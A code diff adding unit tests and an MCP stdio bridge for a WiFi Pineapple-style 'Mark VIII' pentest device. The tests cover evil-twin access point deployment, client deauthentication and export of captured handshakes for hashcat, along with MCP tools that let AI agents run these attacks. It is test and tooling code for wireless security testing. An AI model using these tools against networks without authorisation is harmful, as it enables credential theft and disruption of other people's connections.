refresh: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M17.65,6.35C16.2,4.9 14.21,4 12,4A8,8 0 0,0 4,12A8,8 0 0,0 12,20C15.73,20 18.84,17.45 19.73,14H17.65C16.83,16.33 14.61,18 12,18A6,6 0 0,1 6,12A6,6 0 0,1 12,6C13.66,6 15.14,6.69 16.22,7.78L13,11H20V4L17.65,6.35Z"/></svg>',
file_download: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19,9H15V3H9V9H5L12,16L19,9M5,18V20H19V18H5Z"/></svg>',
delete: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19C6,20.1 6.9,21 8,21H16C17.1,21 18,20.1 18,19V7H6V19M19,4H15.5L14.5,3H9.5L8.5,4H5V6H19V4Z"/></svg>',
delete_forever: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M6,19A2,2 0 0,0 8,21H16A2,2 0 0,0 18,19V7H6V19M8.46,11.88L9.87,10.47L12,12.59L14.12,10.47L15.53,11.88L13.41,14L15.53,16.12L14.12,17.53L12,15.41L9.88,17.53L8.47,16.12L10.59,14L8.46,11.88M15.5,4L14.5,3H9.5L8.5,4H5V6H19V4H15.5Z"/></svg>',
settings: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M19.14,12.94C19.18,12.64 19.2,12.33 19.2,12C19.2,11.68 19.18,11.36 19.13,11.06L21.16,9.48C21.34,9.34 21.39,9.07 21.28,8.87L19.36,5.55C19.24,5.33 18.99,5.26 18.77,5.33L16.38,6.29C15.88,5.91 15.35,5.59 14.76,5.35L14.4,2.81C14.36,2.57 14.16,2.4 13.92,2.4H10.08C9.84,2.4 9.65,2.57 9.61,2.81L9.25,5.35C8.66,5.59 8.12,5.91 7.63,6.29L5.24,5.33C5.02,5.26 4.77,5.33 4.65,5.55L2.74,8.87C2.62,9.08 2.66,9.34 2.86,9.48L4.89,11.06C4.84,11.36 4.8,11.67 4.8,12C4.8,12.33 4.82,12.64 4.87,12.94L2.84,14.52C2.66,14.66 2.61,14.93 2.72,15.13L4.64,18.45C4.76,18.67 5.01,18.74 5.23,18.67L7.62,17.71C8.12,18.09 8.65,18.41 9.24,18.65L9.6,21.19C9.65,21.43 9.84,21.6 10.08,21.6H13.92C14.16,21.6 14.36,21.43 14.4,21.19L14.76,18.65C15.35,18.41 15.88,18.09 16.38,17.71L18.77,18.67C18.99,18.74 19.24,18.67 19.36,18.45L21.28,15.13C21.39,14.93 21.34,14.66 21.16,14.52L19.14,12.94M12,15.6C10.02,15.6 8.4,13.98 8.4,12C8.4,10.02 10.02,8.4 12,8.4C13.98,8.4 15.6,10.02 15.6,12C15.6,13.98 13.98,15.6 12,15.6Z"/></svg>',
search: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M15.5,14H14.71L14.43,13.73C15.41,12.59 16,11.11 16,9.5C16,5.91 13.09,3 9.5,3C5.91,3 3,5.91 3,9.5C3,13.09 5.91,16 9.5,16C11.11,16 12.59,15.41 13.73,14.43L14,14.71V15.5L19,20.49L20.49,19L15.5,14M9.5,14C7.01,14 5,11.99 5,9.5C5,7.01 7.01,5 9.5,5C11.99,5 14,7.01 14,9.5C14,11.99 11.99,14 9.5,14Z"/></svg>',
first_page: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18.41,16.59L13.82,12L18.41,7.41L17,6L11,12L17,18L18.41,16.59M6,6H8V18H6V6Z"/></svg>',
File diff suppressed because it is too large Load Diff
+65
View File
@@ -0,0 +1,65 @@
#!/usr/bin/env python3
"""stdio bridge to the Mark VIII MCP server.
Agents that only support stdio transport can run:
MCP_URL=http://172.16.52.1:8080/mcp \
MCP_TOKEN=<device session token> \
python3 scripts/harness_stdio.py
JSON-RPC messages are read line-by-line from stdin (one JSON object per
line, no embedded newlines) and forwarded to the Mark VIII Streamable-HTTP
MCP endpoint. Responses are printed back on stdout as single-line JSON.
Get a token from the Mark VIII Harness page, or fetch one:
curl -s -X POST http://172.16.52.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device password>"}' \
-c cookies.txt
"""
import json
import os
import sys
import urllib.request
URL = os.environ.get('MCP_URL', 'http://172.16.52.1:8080/mcp')
TOKEN = os.environ.get('MCP_TOKEN', '')
def forward(msg):
data = json.dumps(msg).encode()
req = urllib.request.Request(URL, data=data, method='POST')
req.add_header('Content-Type', 'application/json')
req.add_header('Accept', 'application/json, text/event-stream')
if TOKEN:
req.add_header('Authorization', 'Bearer ' + TOKEN)
try:
with urllib.request.urlopen(req, timeout=120) as resp:
return resp.read().decode()
except urllib.error.HTTPError as exc:
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': exc.code, 'message': exc.read().decode()[:300]}})
except Exception as exc: # noqa: BLE001
return json.dumps({'jsonrpc': '2.0', 'id': msg.get('id'),
'error': {'code': -32000, 'message': str(exc)}})
def main():
if not TOKEN:
print('warning: MCP_TOKEN not set; server will reject calls', file=sys.stderr)
for line in sys.stdin:
line = line.strip()
if not line:
continue
try:
msg = json.loads(line)
except ValueError:
print(json.dumps({'jsonrpc': '2.0', 'id': None,
'error': {'code': -32700, 'message': 'parse error'}}))
continue
print(forward(msg), flush=True)
if __name__ == '__main__':
main()
+326
View File
@@ -0,0 +1,326 @@
import os
import shutil
import sqlite3
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, query=None):
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
class FakeUciDevice:
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
def __init__(self):
self.state = {}
self.runs = []
self.sock = []
self._verify = True
def device_run(self, args, timeout=20, input_data=None):
self.runs.append((list(args), input_data))
a = list(args)
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.state[k] = v
elif a[:2] == ['uci', 'get']:
return (0, self.state.get(a[2], '') + '\n', '')
elif a[:2] == ['uci', 'delete']:
for k in list(self.state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.state[k]
elif a[:2] == ['uci', 'commit']:
pass
elif a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
if k == sec or k.startswith(sec + '.')), '')
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
return (0, 'state=ENABLED\nssid[0]=test\n', '')
return (0, '', '')
def uci_iface(self, name):
cfg = {}
prefix = 'wireless.%s.' % name
for k, v in self.state.items():
if k.startswith(prefix):
cfg[k[len(prefix):]] = v
if not cfg:
return {}
return cfg
def daemon_sock_call(self, method, path, body=None, timeout=10):
self.sock.append((method, path, body))
if path == '/api/pineap/hostapd/get_config':
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
if path == '/api/pineap/get_config':
return 200, {'autossidpool': True}
return 200, {'success': True}
class AttacksDeployTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
server._uci_section = self.f.uci_iface
server._verify_iface = lambda name, timeout=20: self.f._verify
server._allow_all_ssids = lambda: True
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
self.old_state = server.PINEAP_STATE_FILE
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
self.old_ent = {k: getattr(server, k) for k in
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
self.old_ent_running = server._ent_running
self.old_ent_state = server._ent_state_loaded
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
def tearDown(self):
server.PINEAP_STATE_FILE = self.old_state
server._ent_running = self.old_ent_running
server._ent_state_loaded = self.old_ent_state
for k, v in self.old_ent.items():
setattr(server, k, v)
shutil.rmtree(self.tmp)
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
self.assertEqual(status, 200)
self.assertTrue(payload['ok'])
self.assertTrue(payload['verified'])
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
engines = [s for s in self.f.sock
if s[1] in ('/api/pineap/hostapd/enable_pineap',
'/api/pineap/mimic/enable')]
self.assertEqual(len(engines), 2)
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_wpa_5g_writes_radio1(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
self.assertEqual(payload['iface'], 'wlan1wpa')
self.assertEqual(payload['band'], server.BAND_5G)
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
self.assertEqual(status, 200)
self.assertTrue(payload['auto'])
self.assertEqual(payload['channel'], 1)
self.assertEqual(payload['band'], server.BAND_2G)
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['channel'], 1)
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
db = self._make_recon_db()
old = server.RECON_DB
server.RECON_DB = db
try:
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'hidden': False}))
finally:
server.RECON_DB = old
os.unlink(db)
self.assertEqual(status, 200)
self.assertEqual(payload['channel'], 149)
self.assertEqual(payload['band'], server.BAND_5G)
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
def _make_recon_db(self):
fd, db = tempfile.mkstemp(suffix='.db')
os.close(fd)
conn = sqlite3.connect(db)
conn.executescript(
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
' time INT, name TEXT);'
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
' time INT, signal INT, freq INT, packets INT);'
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
' freq INT, channel INT, encryption INT);')
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
" time, signal, freq, channel, encryption) VALUES"
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
" 1786466532, -76, 5745, 149, 0x400400108)")
conn.commit()
conn.close()
return db
def test_deploy_open_2g4_includes_bssid_and_country(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
'channel': 1, 'country': 'US',
'bssid': 'DE:AD:BE:EF:00:01'}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan0open')
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
status, payload = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['iface'], 'wlan1ent')
self.assertEqual(payload['band'], server.BAND_5G)
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
'type', 'managed'], cmds)
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
self.assertIn(['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE,
server.ENT_CONF], cmds)
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
def test_deploy_enterprise_rejects_non_5g_channel(self):
status, _ = server.h_attacks_deploy(ctx({
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
'channel': 6}))
self.assertEqual(status, 400)
def test_stop_enterprise_tears_down_engine(self):
server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
self.assertEqual(status, 200)
self.assertIn('wlan1ent', payload['stopped'])
cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
def test_deploy_validation(self):
status, _ = server.h_attacks_deploy(ctx({'kind': 'wpa', 'ssid': ''}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'short',
'enctype': 'psk2', 'channel': 1}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'X', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'channel': 200}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deploy(ctx({'kind': 'bogus'}))
self.assertEqual(status, 400)
def test_stop_wpa_disables_both_bands(self):
self.f.state['wireless.wlan0wpa.disabled'] = '0'
self.f.state['wireless.wlan1wpa.disabled'] = '0'
self.f.state['pineapd.wlan1mon.hop'] = '0'
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
self.assertEqual(status, 200)
self.assertEqual(self.f.state['wireless.wlan0wpa.disabled'], '1')
self.assertEqual(self.f.state['wireless.wlan1wpa.disabled'], '1')
self.assertIn('wlan0wpa', payload['stopped'])
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '1')
class AttacksDeauthTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_deauth_2g4_uses_wlan0mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan0mon')
calls = [r[0] for r in self.f.runs]
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'11:22:33:44:55:66', '6'], calls)
def test_deauth_5g_keeps_wlan1mon_inject(self):
status, payload = server.h_attacks_deauth(ctx({
'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(payload['inject'], 'wlan1mon')
def test_deauth_bad_macs_rejected(self):
status, _ = server.h_attacks_deauth(ctx({
'bssid': 'nope', 'client': '11:22:33:44:55:66', 'channel': 6}))
self.assertEqual(status, 400)
class AttacksExportTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
def fake_run(args, timeout=20, input_data=None):
self.f.runs.append((list(args), input_data))
a = list(args)
if a[0] == 'ls':
return (0, 'a.pcap\nb.cap\n', '')
if a[0] == 'hcxpcapngtool':
return (0, '', '')
return (0, '', '')
server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
self._real_exists = os.path.exists
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
server.os.path.getsize = lambda p: 12
def tearDown(self):
server.os.path.exists = self._real_exists
try:
os.unlink('/tmp/mk8test.hc22000')
except OSError:
pass
def test_export_converts_captures(self):
status, payload = server.h_attacks_export_hc22000(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['size'], 12)
self.assertIn('hashcat -m 22000', payload['hashcat'])
hc = [r[0] for r in self.f.runs if r[0][0] == 'hcxpcapngtool'][0]
self.assertEqual(hc[1], '-o')
self.assertTrue(hc[2].startswith('/root/loot/hc22000/'))
self.assertTrue(hc[2].endswith('.hc22000'))
self.assertIn('/root/loot/handshakes/a.pcap', hc)
self.assertIn('/root/loot/pcap/b.cap', hc)
if __name__ == '__main__':
unittest.main()
+140
View File
@@ -0,0 +1,140 @@
import os
import sys
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
class HealthCheckTest(unittest.TestCase):
def setUp(self):
self.runs = []
self.ping_ok = True
self.sigsegvs = 0
self.iface_up = {'wlan0mon': True, 'wlan1mon': True}
self.uci_state = {}
server._health.update({
'sigsegv_last': None, 'last_fix': 0.0, 'fixes': 0,
'last_action': None, 'pineap_up': False, 'monitor_fixes': 0})
self.old_iface_up = server._iface_up
server._iface_up = lambda name: self.iface_up.get(name, True)
def fake_run(args, timeout=20, input_data=None):
self.runs.append((list(args), timeout))
a = list(args)
if a[0] == 'pidof' and a[1] == 'pineapd':
if self.ping_ok:
return (0, '12345\n', '')
return (1, '', '')
if a[0] == 'logread':
return (0, 'SIGSEGV\n' * self.sigsegs if hasattr(self, 'sigsegs') else '', '')
if a[:2] == ['uci', 'set']:
k, _, v = a[2].partition('=')
self.uci_state[k] = v
if a[:2] == ['uci', 'delete']:
for k in list(self.uci_state):
if k == a[2] or k.startswith(a[2] + '.'):
del self.uci_state[k]
if a[:2] == ['uci', 'get']:
return (0, self.uci_state.get(a[2], '') + '\n', '')
if a[0] == 'uci' and a[1] == 'show':
sec = a[2]
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.uci_state.items()
if k == sec or k.startswith(sec + '.')), '')
return (0, '', '')
server.device_run = fake_run
def tearDown(self):
server._iface_up = self.old_iface_up
def test_pineap_up_reports_no_action(self):
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertIsNone(result['last_action'])
self.assertEqual([r[0] for r in self.runs], [['pidof', 'pineapd']],
'health check must not write to the pineapd socket')
def test_pineap_up_repairs_dropped_monitors(self):
self.iface_up = {'wlan0mon': False, 'wlan1mon': True}
result = server.health_check()
self.assertTrue(result['pineap_up'])
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan0mon', 'up'], [r[0] for r in self.runs])
self.assertEqual(result['monitor_fixes'], 1)
def test_down_with_growing_sigsegv_disables_pool(self):
self.ping_ok = False
self.sigsegs = 5
result = server.health_check()
self.assertIn('pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
self.assertEqual(result['fixes'], 1)
def test_down_with_pool_already_disabled_restarts_pineapd(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.wlan2mon.disable'] = '1'
self.uci_state['pineapd.wlan2mon.hop'] = '0'
self.uci_state['pineapd.wlan1mon.bands'] = '5'
self.uci_state['pineapd.wlan0mon.bands'] = '2'
self.uci_state['pineapd.wlan1mon.hop'] = '0'
result = server.health_check()
self.assertEqual(result['last_action'], 'pineapd restart')
self.assertIn(['/etc/init.d/pineapd', 'restart'], [r[0] for r in self.runs])
def test_down_stabilizes_known_crash_sources(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
result = server.health_check()
self.assertEqual(self.uci_state['pineapd.wlan2mon.disable'], '1')
self.assertEqual(self.uci_state['pineapd.wlan1mon.bands'], '5')
self.assertIn('stabilized', result['last_action'])
def test_down_clears_refilled_pool_list(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.uci_state['pineapd.@ssidpool[0].ssid'] = 'QmVlcg=='
result = server.health_check()
self.assertNotIn('pineapd.@ssidpool[0].ssid', self.uci_state)
self.assertIn('pool-list cleared', result['last_action'])
def test_down_without_crash_brings_monitors_up(self):
self.ping_ok = False
self.uci_state['pineapd.@ssidpool[0].disable'] = '1'
self.iface_up = {'wlan0mon': True, 'wlan1mon': False}
result = server.health_check()
self.assertEqual(result['last_action'], 'monitor interfaces brought up')
self.assertIn(['ip', 'link', 'set', 'wlan1mon', 'up'], [r[0] for r in self.runs])
def test_down_disables_pool_regardless_of_sigsegv_history(self):
self.ping_ok = False
server._health['sigsegv_last'] = 4
result = server.health_check()
self.assertIn('SSID pool broadcast disabled', result['last_action'])
self.assertEqual(self.uci_state['pineapd.@ssidpool[0].disable'], '1')
def test_fix_cooldown_prevents_thrash(self):
self.ping_ok = False
server._health['last_fix'] = server.time.time() - 30
server.health_check()
server.health_check()
fixes = [r for r in self.runs if r[0][0] == '/etc/init.d/pineapd']
self.assertEqual(len(fixes), 1, 'cooldown must allow only one restart')
def test_health_endpoint_shape(self):
server._health['sigsegv_last'] = 7
status, payload = server.h_health(type('C', (), {'query': {}})())
self.assertEqual(status, 200)
self.assertEqual(payload['sigsegv_count'], 7)
self.assertIn('wlan1mon_up', payload)
self.assertIn('pool_disabled', payload)
if __name__ == '__main__':
unittest.main()
+123
View File
@@ -0,0 +1,123 @@
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server
def setUpModule():
__import__('importlib').reload(server)
def ctx(body=None, headers=None):
H = type('H', (), {'headers': headers or {}})()
return type('C', (), {'body': body, 'args': (), 'query': {}, 'h': H})()
class McpDispatchTest(unittest.TestCase):
def setUp(self):
self.tmp = tempfile.mkdtemp(prefix='pager-mcp-')
self.old_session = server.SESSION_FILE
self.old_device_run = server.device_run
self.old_daemon_sock_call = server.daemon_sock_call
server.SESSION_FILE = os.path.join(self.tmp, 'session.json')
with open(server.SESSION_FILE, 'w') as f:
import json
json.dump({'token': 't0k3n', 'serverid': 'x'}, f)
server.device_run = lambda args, timeout=20, input_data=None: (0, '', '')
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {
'pineap_disabled': False, 'pineape_disabled': True,
'autossidpool': True})
def tearDown(self):
server.SESSION_FILE = self.old_session
server.device_run = self.old_device_run
server.daemon_sock_call = self.old_daemon_sock_call
shutil.rmtree(self.tmp)
def msg(self, method, params=None, mid=1, jsonrpc='2.0'):
m = {'jsonrpc': jsonrpc, 'id': mid, 'method': method}
if params is not None:
m['params'] = params
return m
def test_initialize_negotiates_protocol(self):
status, body = server._mcp_dispatch(self.msg('initialize', {'protocolVersion': '2025-06-18'}))
self.assertEqual(status, 200)
self.assertEqual(body['result']['protocolVersion'], '2025-06-18')
self.assertIn('tools', body['result']['capabilities'])
self.assertEqual(body['result']['serverInfo']['name'], 'mark-viii')
def test_tools_list_has_attack_and_recon_tools(self):
status, body = server._mcp_dispatch(self.msg('tools/list'))
names = [t['name'] for t in body['result']['tools']]
self.assertIn('attack.deploy', names)
self.assertIn('device.state', names)
self.assertIn('recon.isearch', names)
self.assertIn('loot.enterprise_creds', names)
def test_tools_call_unknown_tool_errors(self):
status, body = server._mcp_dispatch(self.msg('tools/call', {'name': 'nope', 'arguments': {}}))
self.assertEqual(body['error']['code'], -32602)
def test_ping(self):
status, body = server._mcp_dispatch(self.msg('ping'))
self.assertEqual(body['result'], {})
def test_notifications_initialized_returns_202(self):
status, body = server._mcp_dispatch({'jsonrpc': '2.0', 'method': 'notifications/initialized'})
self.assertEqual(status, 202)
self.assertIsNone(body)
def test_resources_list_includes_skills(self):
status, body = server._mcp_dispatch(self.msg('resources/list'))
uris = [r['uri'] for r in body['result']['resources']]
self.assertIn('skills://pineapple-control', uris)
self.assertIn('device://state', uris)
def test_prompts_list_includes_playbooks(self):
status, body = server._mcp_dispatch(self.msg('prompts/list'))
names = [p['name'] for p in body['result']['prompts']]
self.assertIn('evil-wpa-attack', names)
self.assertIn('evil-enterprise-attack', names)
def test_bad_jsonrpc_rejected(self):
status, body = server._mcp_dispatch({'jsonrpc': '1.0', 'id': 1, 'method': 'ping'})
self.assertEqual(body['error']['code'], -32600)
def test_endpoint_auth_accepts_bearer_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer t0k3n'}))
self.assertEqual(status, 200)
self.assertEqual(body['result'], {})
def test_endpoint_auth_rejects_bad_token(self):
status, body = server.h_mcp(ctx(self.msg('ping'), {'Authorization': 'Bearer wrong'}))
self.assertEqual(status, 401)
def test_deploy_tool_wraps_attack_handler(self):
server._uci_wifi_iface = lambda name: {}
server._uci_section = lambda name: {}
server._verify_iface = lambda name, timeout=20: True
server._allow_all_ssids = lambda: True
server._deploy_enterprise = lambda args: {'ok': True, 'verified': True,
'iface': 'wlan1ent', 'band': '5'}
status, body = server._mcp_dispatch(self.msg('tools/call', {
'name': 'attack.deploy',
'arguments': {'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2', 'channel': 36}}))
self.assertEqual(status, 200)
text = body['result']['content'][0]['text']
self.assertIn('"verified": true', text)
def test_capabilities_endpoint(self):
status, body = server.h_harness_capabilities(ctx())
self.assertEqual(status, 200)
self.assertEqual(body['endpoint'], '/mcp')
self.assertIn('attack.deploy', [t['name'] for t in body['tools']])
self.assertIn('skills://wifi-deauth', [r['uri'] for r in body['resources']])
if __name__ == '__main__':
unittest.main()
+12 -8
View File
@@ -111,22 +111,26 @@ class GetApRadio1Test(unittest.TestCase):
def test_open_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['open']['ssid'], 'CorpGuest')
self.assertEqual(payload['open']['channel'], 36)
self.assertEqual(payload['open']['country'], 'US')
self.assertEqual(payload['radio1_open']['ssid'], 'CorpGuest')
self.assertEqual(payload['radio1_open']['channel'], 36)
self.assertEqual(payload['radio1_open']['country'], 'US')
# radio0 cards keep reporting radio0 truth
self.assertEqual(payload['open']['ssid'], 'pager-open')
def test_wpa_reports_radio1_when_present(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['wpa']['ssid'], 'Corp')
self.assertEqual(payload['wpa']['enctype'], 'sae')
self.assertEqual(payload['wpa']['channel'], 1)
self.assertEqual(payload['radio1_wpa']['ssid'], 'Corp')
self.assertEqual(payload['radio1_wpa']['enctype'], 'sae')
self.assertEqual(payload['radio1_wpa']['channel'], 1)
self.assertEqual(payload['wpa']['ssid'], 'Service')
def test_radio1_info(self):
status, payload = server.h_pineap_wifi_get_ap(ctx())
self.assertEqual(status, 200)
self.assertEqual(payload['radio1']['band'], server.BAND_5G)
self.assertEqual(payload['radio1']['channel'], 'auto')
self.assertEqual(payload['radios']['radio1']['band'], server.BAND_5G)
self.assertEqual(payload['radios']['radio1']['channel'], 'auto')
self.assertEqual(payload['radios']['radio0']['band'], server.BAND_2G)
class GetApRadio1AbsentTest(unittest.TestCase):
+18 -6
View File
@@ -37,8 +37,7 @@ class PineapModeTest(unittest.TestCase):
status, payload = server.h_pineap_mode_post(ctx({'mode': 'passive'}))
self.assertEqual(status, 200)
self.assertEqual([c[1] for c in calls], [
'hostapd/enable_pineap', 'ssidpool/enable_collect',
'ssidpool/disable'])
'hostapd/enable_pineap', 'ssidpool/enable_collect'])
self.assertEqual(calls[0][2], {'enable': False})
self.assertEqual(payload['mode'], 'passive')
self.assertTrue(payload['collect'])
@@ -46,7 +45,7 @@ class PineapModeTest(unittest.TestCase):
self.assertFalse(payload['karma'])
self.assertFalse(payload['enabled'])
def test_active_enables_response_engine_and_pool_broadcasting(self):
def test_active_enables_response_engine_but_never_pool_broadcast(self):
calls = []
server._daemon_proxy = lambda method, path, body=None, timeout=15: (
calls.append((method, path, body)) or (200, {'success': True}))
@@ -54,12 +53,24 @@ class PineapModeTest(unittest.TestCase):
self.assertEqual(status, 200)
self.assertEqual(calls[0], ('PUT', 'hostapd/enable_pineap', {'enable': True}))
self.assertNotIn('mimic/disable', [c[1] for c in calls])
self.assertEqual(calls[-1], ('POST', 'ssidpool/enable', {'enable': True}))
# The SSID-pool broadcast segfaults pineapd on this firmware: the
# active preset must never call ssidpool/enable.
self.assertNotIn('ssidpool/enable', [c[1] for c in calls])
self.assertEqual(payload['mode'], 'active')
self.assertTrue(payload['advertise'])
self.assertFalse(payload['advertise'])
